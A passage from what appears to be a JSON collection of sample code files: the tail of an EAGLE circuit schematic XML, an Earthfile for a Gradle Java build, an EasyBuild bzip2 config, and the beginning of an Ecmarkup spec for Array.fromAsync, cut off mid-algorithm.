pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2012\" package=\"R2012\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2012W\" package=\"R2012W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2512\" package=\"R2512\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2512W\" package=\"R2512W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3216\" package=\"R3216\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3216W\" package=\"R3216W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3225\" package=\"R3225\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R3225W\" package=\"R3225W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R5025\" package=\"R5025\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R5025W\" package=\"R5025W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R6332\" package=\"R6332\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R6332W\" package=\"R6332W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M0805\" package=\"M0805\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M1206\" package=\"M1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M1406\" package=\"M1406\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M2012\" package=\"M2012\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M2309\" package=\"M2309\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M3216\" package=\"M3216\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M3516\" package=\"M3516\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"M5923\" package=\"M5923\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0204/5\" package=\"0204/5\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0204/7\" package=\"0204/7\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/10\" package=\"0207/10\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/12\" package=\"0207/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/15\" package=\"0207/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/2V\" package=\"0207/2V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/5V\" package=\"0207/5V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0207/7\" package=\"0207/7\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0309/10\" package=\"0309/10\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0309/12\" package=\"0309/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0411/12\" package=\"0411/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0411/15\" package=\"0411/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0411/3V\" package=\"0411V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0414/15\" package=\"0414/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0414/5V\" package=\"0414V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0617/17\" package=\"0617/17\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0617/22\" package=\"0617/22\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0617/5V\" package=\"0617V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0922/22\" package=\"0922/22\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0613/5V\" package=\"P0613V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0613/15\" package=\"P0613/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0817/22\" package=\"P0817/22\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0817/7V\" package=\"P0817V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"V234/12\" package=\"V234/12\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"V235/17\" package=\"V235/17\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"V526-0\" package=\"V526-0\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0102AX\" package=\"MINI_MELF-0102AX\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0922V\" package=\"0922V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0102R\" package=\"MINI_MELF-0102R\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0102W\" package=\"MINI_MELF-0102W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0204R\" package=\"MINI_MELF-0204R\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0204W\" package=\"MINI_MELF-0204W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0207R\" package=\"MINI_MELF-0207R\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"MELF0207W\" package=\"MINI_MELF-0207W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"RDH/15\" package=\"RDH/15\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0204/2V\" package=\"0204V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0309/V\" package=\"0309V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R0201\" package=\"R0201\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"VMTA55\" package=\"VMTA55\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"VMTB60\" package=\"VMTB60\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"VTA52\" package=\"VTA52\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"VTA53\" package=\"VTA53\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"VTA54\" package=\"VTA54\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"VTA55\" package=\"VTA55\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"VTA56\" package=\"VTA56\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R4527\" package=\"R4527\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"WSC0001\" package=\"WSC0001\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"WSC0002\" package=\"WSC0002\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"WSC01/2\" package=\"WSC01/2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"WSC2515\" package=\"WSC2515\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"WSC4527\" package=\"WSC4527\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"WSC6927\" package=\"WSC6927\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1218\" package=\"R1218\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1812X7R\" package=\"1812X7R\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"pinhead\">\n<description>&lt;b&gt;Pin Header Connectors&lt;/b&gt;&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"1X01\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"PINHD1\">\n<wire x1=\"-6.35\" y1=\"-2.54\" x2=\"1.27\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"-2.54\" x2=\"1.27\" y2=\"2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"2.54\" x2=\"-6.35\" y2=\"2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-6.35\" y1=\"2.54\" x2=\"-6.35\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-6.35\" y=\"3.175\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-6.35\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"1\" x=\"-2.54\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"PINHD-1X1\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"PINHD1\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"1X01\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n</libraries>\n<attributes>\n</attributes>\n<variantdefs>\n</variantdefs>\n<classes>\n<class number=\"0\" name=\"default\" width=\"0\" drill=\"0\">\n</class>\n</classes>\n<parts>\n<part name=\"FRAME2\" library=\"frames\" deviceset=\"A4L-LOC\" device=\"\"/>\n<part name=\"R1\" library=\"rcl\" deviceset=\"R-US_\" device=\"R0805\" value=\"1K\"/>\n<part name=\"IN\" library=\"pinhead\" deviceset=\"PINHD-1X1\" device=\"\"/>\n<part name=\"OUT\" library=\"pinhead\" deviceset=\"PINHD-1X1\" device=\"\"/>\n</parts>\n<sheets>\n<sheet>\n<plain>\n</plain>\n<instances>\n<instance part=\"FRAME2\" gate=\"G$1\" x=\"0\" y=\"0\"/>\n<instance part=\"R1\" gate=\"G$1\" x=\"127\" y=\"93.98\"/>\n<instance part=\"IN\" gate=\"G$1\" x=\"114.3\" y=\"93.98\"/>\n<instance part=\"OUT\" gate=\"G$1\" x=\"144.78\" y=\"93.98\"/>\n</instances>\n<busses>\n</busses>\n<nets>\n<net name=\"N$2\" class=\"0\">\n<segment>\n<pinref part=\"R1\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"OUT\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"132.08\" y1=\"93.98\" x2=\"142.24\" y2=\"93.98\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n</net>\n<net name=\"N$1\" class=\"0\">\n<segment>\n<pinref part=\"IN\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"R1\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"111.76\" y1=\"93.98\" x2=\"121.92\" y2=\"93.98\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n</net>\n</nets>\n</sheet>\n</sheets>\n</schematic>\n</drawing>\n</eagle>\n"
  },
  {
    "path": "samples/Earthly/filenames/Earthfile",
    "content": "FROM openjdk:8-jdk-alpine\nRUN apk add --update --no-cache gradle\nWORKDIR /java-example\n\ndeps:\n    COPY build.gradle ./\n    RUN gradle build\n\nbuild:\n    FROM +deps\n    COPY src src\n    RUN gradle build\n    RUN gradle install\n    SAVE ARTIFACT build/install/java-example/bin AS LOCAL build/bin\n    SAVE ARTIFACT build/install/java-example/lib AS LOCAL build/lib\n\ndocker:\n    COPY +build/bin bin\n    COPY +build/lib lib\n    ENTRYPOINT [\"/java-example/bin/java-example\"]\n    SAVE IMAGE --push earthly/examples:java\n"
  },
  {
    "path": "samples/Easybuild/bzip2-1.0.6-GCC-4.9.2.eb",
    "content": "# not really (there's an EB_bzip2 easyblock), but fine for use in unit tests\neasyblock = 'ConfigureMake'\n\nname = 'bzip2'\nversion = '1.0.6'\n\nhomepage = 'http://www.bzip.org/'\ndescription = \"\"\"bzip2 is a freely available, patent free, high-quality data compressor. It typically\ncompresses files to within 10% to 15% of the best available techniques (the PPM family of statistical\ncompressors), whilst being around twice as fast at compression and six times faster at decompression.\"\"\"\n\ntoolchain = {'name': 'GCC', 'version': '4.9.2'}\ntoolchainopts = {'pic': True}\n\nsources = [SOURCE_TAR_GZ]\nsource_urls = ['http://www.bzip.org/%(version)s']\n\nbuilddependencies = [('gzip', '1.6')]\n\nmoduleclass = 'tools'\n"
  },
  {
    "path": "samples/Ecmarkup/spec.html",
    "content": "<pre class=metadata>\ntitle: ES Array.fromAsync (2022)\nstatus: proposal\nstage: 1\nlocation: https://github.com/js-choi/proposal-array-async-from\ncopyright: false\ncontributors: J. S. Choi\n</pre>\n<script src=ecmarkup.js defer></script>\n<link rel=stylesheet href=ecmarkup.css>\n\n<emu-intro id=introduction>\n  <h1>Introduction</h1>\n  <p>This is the formal specification for a proposed `Array.fromAsync` factory method\n  in JavaScript. It modifies the original <a\n  href=https://tc39.github.io/ecma262/>ECMAScript specification</a> with\n  several new or revised clauses. See <a\n  href=https://github.com/js-choi/proposal-array-async-from/blob/main/README.md>the proposal's\n  explainer</a> for the proposal's background, motivation, and usage examples.</p>\n</emu-intro>\n\n<emu-clause id=\"sec-control-abstraction-objects\">\n  <h1>Control Abstraction Objects</h1>\n\n  <emu-clause id=\"sec-iteration\">\n    <h1>Iteration</h1>\n\n    <emu-clause id=\"sec-iterator-abstract-operations\">\n      <h1>Iterator Abstract Operations</h1>\n\n      <emu-clause id=\"sec-ifabruptcloseasynciterator\">\n        <h1>IfAbruptCloseAsyncIterator ( _value_, _iteratorRecord_ )</h1>\n        <p><dfn>IfAbruptCloseAsyncIterator</dfn> is a shorthand for a sequence of algorithm steps that use an Iterator Record. An algorithm step of the form:</p>\n        <emu-alg>\n          1. IfAbruptCloseAsyncIterator(_value_, _iteratorRecord_).\n        </emu-alg>\n        <p>means the same thing as:</p>\n        <emu-alg>\n          1. If _value_ is an abrupt completion, then\n            1. Perform ? AsyncIteratorClose(_iteratorRecord_, _value_).\n            1. Return _value_.\n          1. Else if _value_ is a Completion Record, set _value_ to _value_.[[Value]].\n        </emu-alg>\n      </emu-clause>\n    </emu-clause>\n  </emu-clause>\n\n  <emu-clause id=\"sec-async-function-objects\">\n    <h1>AsyncFunction Objects</h1>\n    <emu-clause id=\"sec-async-functions-abstract-operations\">\n      <h1>Async Functions Abstract Operations</h1>\n      <emu-clause id=\"sec-asyncblockstart\" type=\"abstract operation\">\n        <h1>\n          AsyncBlockStart (\n            _promiseCapability_: a PromiseCapability Record,\n            _asyncBody_: a Parse Node <ins>or an Abstract Closure with no parameters</ins>,\n            _asyncContext_: an execution context,\n          )\n        </h1>\n        <dl class=\"header\">\n        </dl>\n        <emu-alg>\n          1. Assert: _promiseCapability_ is a PromiseCapability Record.\n          1. Let _runningContext_ be the running execution context.\n          1. [fence-effects=\"user-code\"] Set the code evaluation state of _asyncContext_ such that when evaluation is resumed for that execution context the following steps will be performed:\n            1. <ins> If _asyncBody_ is a Parse Node, then</ins>\n              1. <ins> Let _result_ be the result of evaluating _asyncBody_.</ins>\n            1. <ins> Else, </ins>\n              1. <ins> Assert: _asyncBody_ is an Abstract Closure with no parameters.</ins>\n              1. <ins> Let _result_ be _asyncBody_().</ins>\n            1. <del>Let _result_ be the result of evaluating _asyncBody_. </del>\n            1. Assert: If we return here, the async function either threw an exception or performed an implicit or explicit return; all awaiting is done.\n            1. Remove _asyncContext_ from the execution context stack and restore the execution context that is at the top of the execution context stack as the running execution context.\n            1. If _result_.[[Type]] is ~normal~, then\n              1. Perform ! Call(_promiseCapability_.[[Resolve]], *undefined*, &laquo; *undefined* &raquo;).\n            1. Else if _result_.[[Type]] is ~return~, then\n              1. Perform ! 